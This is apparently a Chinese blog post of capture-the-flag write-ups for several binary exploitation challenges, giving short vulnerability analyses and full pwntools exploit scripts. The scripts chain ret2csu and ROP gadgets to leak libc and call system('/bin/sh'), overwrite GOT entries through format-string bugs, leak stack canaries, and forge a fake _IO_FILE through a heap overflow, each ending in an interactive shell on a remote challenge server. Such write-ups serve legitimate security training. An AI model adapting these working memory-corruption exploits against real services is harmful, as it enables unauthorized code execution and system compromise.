登录后台

页面导航

本文编写于 380 天前,最后修改于 118 天前,其中某些信息可能已经过时。

Easy_pwn

程序分析

漏洞利用

# -*- coding: utf-8 -*-

import sys
import os
import os.path
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context(os = "linux", arch = "i386",log_level="debug")
'''
rdi,rsi,rdx,rcx,r8和r9
'''


p = remote('39.107.93.53', 10002)
elf = ELF('./pwn')
libc = elf.libc



csu_front_addr = 0x00000000004007b0
csu_end_addr = 0x00000000004007ca
fakeebp = 'b' * 8

def csue(rbx,rbp,r12,r13,r14,r15):
    payload = p64(csu_end_addr)
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    return payload

def csuf(rbx,rbp,r12,r13,r14,r15,ret2):
    '''
    参数1(edi) --- r15d
    参数2 rsi --- r14
    参数3rdx --- r13

    call    qword ptr [r12+rbx*8]  call的是r12的内容,所以用got表,而不是plt表
    cmp rbx+1 rbp; jnz
    一般rbx=0,rbp = 1
    '''
    payload = p64(csu_front_addr)
    payload += 'a'*8
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(ret2)
    return payload

start_main_addr = 0x4005c0
puts_got = elf.got['puts']
read_got = elf.got['read']
bin_sh = 0x6010a0

padding = 0x50 * 'a'
payload1 = padding
payload1 += fakeebp
# payload1 += p64(start_main_addr)
payload1 += csue(0,1,puts_got,0,0,read_got)
payload1 += csuf(0,0,0,0,0,0,start_main_addr)
log.info('payload_len: '+hex(len(payload1)))
#gdb.attach(proc.pidof(p)[0])

p.sendlineafter('Leave your name: ','/bin/sh\x00')
p.sendlineafter('Now play your game: \n',payload1)

read_addr = p.recv(6)
read_addr = u64(read_addr + '\x00\x00')
log.success("puts_addr:" + hex(read_addr))
# puts 0x7f6626915690
# read_addr:0x7f88edeff250
#system_addr = read_addr - 0x00000000000f7250 + 0x0000000000045390
system_addr = read_addr - libc.symbols['read'] + libc.symbols['system']

payload2 = padding +fakeebp
payload2 += csue(0,1,bin_sh,0,0,bin_sh + 8)
payload2 += csuf(0,0,0,0,0,0,start_main_addr)

p.sendlineafter('Leave your name: ',p64(system_addr)+'/bin/sh\x00')
p.sendlineafter('Now play your game: \n',payload2)

p.interactive()

middle_pwn

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

测试了一下,发现是栈类型的题 o((⊙﹏⊙))o

ida这里会识别错误,需要看汇编代码

.text:000000000040070E loc_40070E:                             ; CODE XREF: main+4C↓j
.text:000000000040070E                 mov     edi, offset s   ; "Input: "
.text:0000000000400713                 call    _puts
.text:0000000000400718                 lea     rax, [rbp+buf]
.text:000000000040071F                 mov     edx, 400h       ; nbytes
.text:0000000000400724                 mov     rsi, rax        ; buf
.text:0000000000400727                 mov     edi, 0          ; fd
.text:000000000040072C                 call    _read
.text:0000000000400731                 lea     rax, [rbp+buf]
.text:0000000000400738                 mov     rdi, rax        ; format
.text:000000000040073B                 mov     eax, 0
.text:0000000000400740                 call    _printf
.text:0000000000400745                 jmp     short loc_40070E
.text:0000000000400745 ; } // starts at 4006F9

这里printf函数存在格式化字符串漏洞
这个程序是64位,先有六个寄存器(rdi,rsi,rdx,rcx,r8,r9)传参再由栈传参\

漏洞利用

需要先从服务器泄露libc基址

exp

from pwn import *
#context.log_level = 'debug'
#p = process('pwn')
p = remote('39.107.93.53',10004)
elf = ELF('pwn')
libc = elf.libc
p.recv()
payload = '%8$saaa'.ljust(16,'a')
payload += p64(elf.got['puts'])
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base+libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))
low = sys_addr&0xffff
print hex(low)
high = (sys_addr>>16)&0xffff
print hex(high)
target = sys_addr>>16
print hex(target)
payload = '%'+str(low)+'x%10$hn'
payload += '%'+str(high-low)+'x%11$hn'
payload = payload.ljust(32,'a')
payload += p64(elf.got['printf'])
payload += p64(elf.got['printf']+2)
p.recv()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

hard_pwn

程序分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
+++PlayPlay+++
1. add
2. edit
3. delete
4. show

功能基本齐全,edit函数存在溢出,可以溢出到下一个chunk,对size没有严格限制

int edit()
{
  signed int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  v1 = read_size();
  if ( v1 < 0 || v1 > 15 )
    return puts("out of range");
  if ( !*(&dreamitem + 4 * v1) )
    return puts("wrong index!");
  printf("size: ");
  v2 = read_size();
  if ( v2 <= 0 || v2 > 1104 )
    return puts("Size too long.");
  printf("content:");
  return read_content(qword_202088[2 * v1], v2);
}

注意一下在add函数里面有个calloc函数,ida识别错了,函数原型参考网上应该是

calloc调用形式为(类型*)calloc(n,size)

ida把n和size位置搞反了,calloc会初始化申请到的空间!!!

附:malloc和calloc函数的区别 https://blog.csdn.net/qq_35608277/article/details/79467539

漏洞利用

开启了pie,说明题目不太好做(针对我这种菜鸡)

第一步先泄露libc,这里用的puts函数,填满chunk就行

exp

from pwn import *
context.log_level = 'debug'
p =process('./pwn')
#p = remote('39.107.93.53',10003)
elf = ELF('pwn')
libc = elf.libc
def add(size):
    p.recvuntil(': ')
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
def edit(idx,size,content):
    p.recvuntil(': ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(str(content))
def delete(idx):
    p.recvuntil(': ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def show(idx):
    p.recvuntil(': ')
    p.sendline('4')
    p.recvuntil('index: ')
    p.sendline(str(idx))
add(0x90)#0
add(0xf8)#1
add(0x90)#2
add(0x90)#3
delete(0)
edit(1,0x100,'a'*0xf0+p64(0x1a0)+p64(0xa0))
delete(2)
add(0x90)#0
show(1)
libc_base = u64(p.recv(0x12)[0xc:0x12].ljust(8,'\x00')) - 0x3c4b20 -88
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
log.success('libc_base: '+hex(libc_base))
log.success('_IO_list_all: '+hex(_IO_list_all))


fake_file=p64(0)+p64(0x61)
edit(0,0xa0,'a'*0x90+fake_file)

fake_file=p64(0)+p64(_IO_list_all-0x10)
fake_file+=p64(1)+p64(2)
fake_file+=p64(0)+p64(libc_base+0x18cd57)
fake_file=fake_file.ljust(0xc8,"\x00")
fake_file+=p64(libc_base+0x3c37a0-8)
fake_file+=p64(0)
fake_file+=p64(libc_base+libc.symbols['system'])
edit(1,0x100,fake_file)
gdb.attach(p)
add(0xf8)#1

p.interactive()

pwn_disco

程序分析

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Aaron kwok want't to eat your rainbow!\nPlease give me a rainbow index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 1 )
    exit(0);
  free(rainbow[v1]);
  puts("Now you lose a rainbow!");
  return __readfsqword(0x28u) ^ v2;
}

存在格式化字符串漏洞和uaf漏洞,但是函数没有show功能,这里需要用到IO_file方法

stac_pwn

获取栈溢出的偏移24,泄露远程libc版本,ROPgadget获取一些必要的gadget,计算出system的偏移,找到/bin/sh,getshell

exp:

from pwn import *
#context.log_level="debug"
#p = process('./stackpwn')
p = remote('39.107.93.53',10006)
elf = ELF('./stackpwn')
libc = elf.libc
pop_rdi_ret = 0x400933
p.recvuntil('instructions...\n')
p.sendline('a'*0x18+p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4007E7))
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))
p.sendline('a'*0x18+p64(pop_rdi_ret)+p64(0x400954)+p64(sys_addr))
p.interactive()

stack_pwn2

格式化字符串泄露canary就行

exp:

from pwn import *
context.log_level="debug"
#p = process('./stackpwn2')
p = remote('39.107.93.53',10007)
elf = ELF('stackpwn2')
libc = elf.libc
p.recvuntil('system...\n')
p.sendline('%9$p')

canary = int(p.recv()[0:18],16)
log.success('canary: '+hex(canary))
p.sendline('a'*24+p64(canary)+'a'*8+p64(0x4009c3)+p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4008A2))
p.recv()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc.search("/bin/sh\x00").next() + libc_base
log.success('puts_addr: '+hex(puts_addr))
log.success('libc_base: '+hex(libc_base))
log.success('sys_addr: '+hex(sys_addr))
log.success('bin_addr: '+hex(bin_addr))

p.sendline('a'*24+p64(canary)+'a'*8+p64(0x4009c3)+p64(bin_addr) +p64(sys_addr))

p.interactive()

窝窝头

exp:

from pwn import *
p=remote('39.107.93.53',10009)
p.sendline('a'*(0x70-0xc)+p32(4))
p.interactive()

一起van

exp

# -*- coding: utf-8 -*-
from pwn import *
context.log_level="debug"
#p = process('./pwn')
p = remote('39.107.93.53',10008)
elf = ELF('pwn')
libc = elf.libc
p.recvuntil('name:')
p.sendline('%14$p %17$p %19$p')
p.recvuntil('message:')
p.sendline('aaa')
addr = p.recv()
main_off = int(addr[:12],16) - 0xb70
canary = int(addr[13:31],16)
libc_base = int(addr[32:46],16) - libc.symbols['__libc_start_main'] - 240 
log.success('main_off: '+hex(main_off))
log.success('canary: '+hex(canary))
log.success('libc_base: '+hex(libc_base))
p.recv()
p.sendline('yes\n\x00'+'a'*19+p64(canary)+'a'*8+p64(0xbd3 + main_off)+p64(libc.search('/bin/sh\x00').next()+libc_base)+p64(libc_base+libc.symbols['system']))
#gdb.attach(p)

p.interactive()